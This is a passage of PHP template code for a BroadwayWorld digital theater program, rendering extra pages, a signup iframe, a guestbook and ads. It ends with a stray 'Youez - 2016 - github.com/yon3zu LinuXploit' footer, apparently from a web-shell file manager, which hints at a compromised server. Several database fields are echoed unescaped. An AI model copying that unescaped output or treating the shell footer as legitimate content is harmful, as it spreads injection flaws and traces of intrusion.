$getextra = $stmtExtra->fetchAll();
if (count($getextra) > 0) { include __DIR__ . '/preview-program-extra.php'; }

/* ── Closing note ── */
if (!empty($getdupe['closingnote'])):
?>
<hr>
<div style="padding:10px;">
<?= str_ireplace('<img ', '<img class="imgauto" ', $getdupe['closingnote']) ?>
</div>
<?php endif; ?>

<?php
/* ── Extra pages: End of Program ── */
$stmtExtra = db_read()->prepare("SELECT pagetitle, pagecopy FROM stagemag.extrapages WHERE aftersection = 'End of Program' AND programid = :pid");
$stmtExtra->execute([':pid' => $programid]);
$getextra = $stmtExtra->fetchAll();
if (count($getextra) > 0) { include __DIR__ . '/preview-program-extra.php'; }

/* ── Bottom signup promo ── */
if ($magtype == 2 && ($getdupe['signuppromo'] ?? 0) == 1):
    $newtext = str_ireplace('<p>', '<p style="color:white;font-size:14pt;font-weight:bold;">', $getdupe['signuppromotext'] ?? '');
    $newtext = str_ireplace('<h1 ', '<h1 style="color:white;font-size:14pt;font-weight:bold;" ', $newtext);
?>
<div style="padding:10px;background-color:black;color:white">
    <h1 color="white" style="color:white;font-size:14pt;font-weight:bold;"><?= $newtext ?></h1>
    <p></p>
    <iframe src="https://stagemag.broadwayworld.com/program-signup.php?programid=<?= $programid ?>" style="border:0px #ffffff none;width:100%;height:150px;" name="myiFrame" scrolling="no" marginheight="0px" marginwidth="0px" allowfullscreen></iframe>
</div>
<?php endif; ?>

<?php
/* ── Guestbook ── */
if (($getdupe['guestbook'] ?? 0) == 1):
?>
<center><h1 class="redb">Guestbook</h1></center>
<div style="padding:10px;">
    <?= $getdupe['guestbookprompt'] ?? '' ?>
    <br>
    <form id="frm-sort" action="https://stagemag.broadwayworld.com/classic_/index.php?link=<?= htmlspecialchars($getdupe['seo_friendly']) ?>&gbinsert=on" method="post">
    <table>
        <tr><td>Your Name: </td><td><input name="name" required type="text"><br></td></tr>
        <tr><td>E-Mail: </td><td><input name="email" required type="email"><br></td></tr>
    </table>
    <textarea name="entry" style="width:100%" placeholder="Enter your message"></textarea>
    <input type="submit" name="Submit Your Entry" id="save" value="Submit Your Entry" />
    </form>

<?php
    $stmtGB = db_read()->prepare("SELECT * FROM stagemag.guestbook WHERE programid = :pid AND approved = 1 ORDER BY datetime");
    $stmtGB->execute([':pid' => $getdupe['id']]);
    $gbEntries = $stmtGB->fetchAll();
    if (count($gbEntries) > 0):
?>
    <center><h1 class="redb">Entries</h1></center>
    <?php foreach ($gbEntries as $gb): ?>
    <?= htmlspecialchars($gb['name']) ?><br>
    <?= htmlspecialchars($gb['entry']) ?>
    <hr>
    <?php endforeach; ?>
<?php endif; ?>
</div>
<?php endif; ?>

<?php
/* ── Ads position 3 ── */
$stmtAds3 = db_read()->prepare("SELECT * FROM stagemag.ads WHERE programid = :pid AND wheread = 3 ORDER BY ordernum");
$stmtAds3->execute([':pid' => $programid]);
$ads3 = $stmtAds3->fetchAll();
if (count($ads3) > 0):
?>
<br>
<center>
<?php if (!empty($getdupe['titleads'])): ?><h1 class="redb"><?= htmlspecialchars($getdupe['titleads']) ?></h1><?php endif; ?>
<?php if (!empty($getdupe['sponsor2header'])): ?><div style="padding:10px;"><h1><?= htmlspecialchars($getdupe['sponsor2header']) ?></h1><br><?php endif; ?>
<?php foreach ($ads3 as $ad):
    if (!empty($ad['codetag'])) { echo $ad['codetag']; }
    elseif (!empty($ad['image'])) {
        $adLink = (!empty($ad['linker']) && strlen($ad['linker']) > 5) ? 'https://stagemag.broadwayworld.com/track-click.php?adid=' . $ad['id'] : '';
        if ($adLink) echo '<a href="' . $adLink . '" target="_new">';
        echo '<img src="https://cloudimages.broadwayworld.com/stagemag/' . htmlspecialchars($ad['image']) . '" style="max-width:100%;">';
        if ($adLink) echo '</a>';
        if (!empty($ad['familytext'])) echo '<br><b>' . $ad['familytext'] . '</b><hr>';
    }
    echo '<p></p>';
endforeach; ?>
<?php if (!empty($getdupe['sponsor2header'])): ?></div><?php endif; ?>
</center>
<?php endif; ?>

</div>
<?php if ($magtype == 2): ?><br><br><?php endif; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit